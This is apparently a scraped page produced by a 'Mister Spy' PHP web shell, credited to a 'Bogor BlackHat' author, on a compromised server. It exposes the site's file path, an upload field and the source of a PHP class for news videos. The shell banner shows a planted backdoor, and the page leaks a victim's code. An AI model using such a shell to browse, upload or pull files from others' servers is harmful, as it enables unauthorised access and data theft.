Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.noticiavideos.php

<?php 

require_once('class.dbaccess.php');
require_once('class.noticiavideo.php');
require_once('class.page.php');

class NoticiaVideos extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = ' WHERE 1';
		
		if ((isset($filter['Nombre'])) && ($filter['Nombre'] != ''))
			$sql.= " AND v.Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		if ((isset($filter['IdNoticia'])) && ($filter['IdNoticia'] != ''))
			$sql.= " AND v.IdNoticia = " . DB::Number($filter['IdNoticia']);
		
		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT v.*";
		$sql.= " FROM tblNoticiaVideos v";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre ASC";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{
			$oNoticiaVideo = new NoticiaVideo();
			$oNoticiaVideo->ParseFromArray($oRow);

			array_push($arr, $oNoticiaVideo);

			$oRes->MoveNext();
		}

		return $arr;
	}
	

	public function GetById($IdNoticiaVideo)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblNoticiaVideos v";
		$sql.= " WHERE IdNoticiaVideo = " . DB::Number($IdNoticiaVideo);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oNoticiaVideo = new NoticiaVideo();
		$oNoticiaVideo->ParseFromArray($oRow);
		
		return $oNoticiaVideo;		
	}
	

	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblNoticiaVideos v";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre ASC";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function GetAllByNoticia(Noticia $oNoticia)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblNoticiaVideos v";
		$sql.= " WHERE v.IdNoticia = " . DB::Number($oNoticia->IdNoticia);
		$sql.= " ORDER BY Nombre ASC";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{
			$oNoticiaVideo = new NoticiaVideo();
			$oNoticiaVideo->ParseFromArray($oRow);

			array_push($arr, $oNoticiaVideo);

			$oRes->MoveNext();
		}

		return $arr;
	}
	
	
	public function Create(NoticiaVideo $oNoticiaVideo)
	{
		$arr = array
		(
			'IdNoticia'	=> DB::Number($oNoticiaVideo->IdNoticia),
			'Nombre' 	=> DB::String($oNoticiaVideo->Nombre),
			'Video'		=> DB::String($oNoticiaVideo->Video)
		);
		
		if (!$this->Insert('tblNoticiaVideos', $arr))
			return false;
			
		return $oNoticiaVideo;
	}
	
	
	public function Update(NoticiaVideo $oNoticiaVideo)
	{
		$where = " IdNoticiaVideo = " . DB::Number($oNoticiaVideo->IdNoticiaVideo);
		
		$arr = array
		(
			'IdNoticia'	=> DB::Number($oNoticiaVideo->IdNoticia),
			'Nombre' 	=> DB::String($oNoticiaVideo->Nombre),
			'Video'		=> DB::String($oNoticiaVideo->Video)
		);
		
		if (!DBAccess::UpdateEntidad('tblNoticiaVideos', $arr, $where))
			return false;
		
		return $oNoticiaVideo;
	}
	

	public function Delete($IdNoticiaVideo)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdNoticiaVideo = " . DB::Number($IdNoticiaVideo);
		if (!DBAccess::DeleteEntidad('tblNoticiaVideos', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat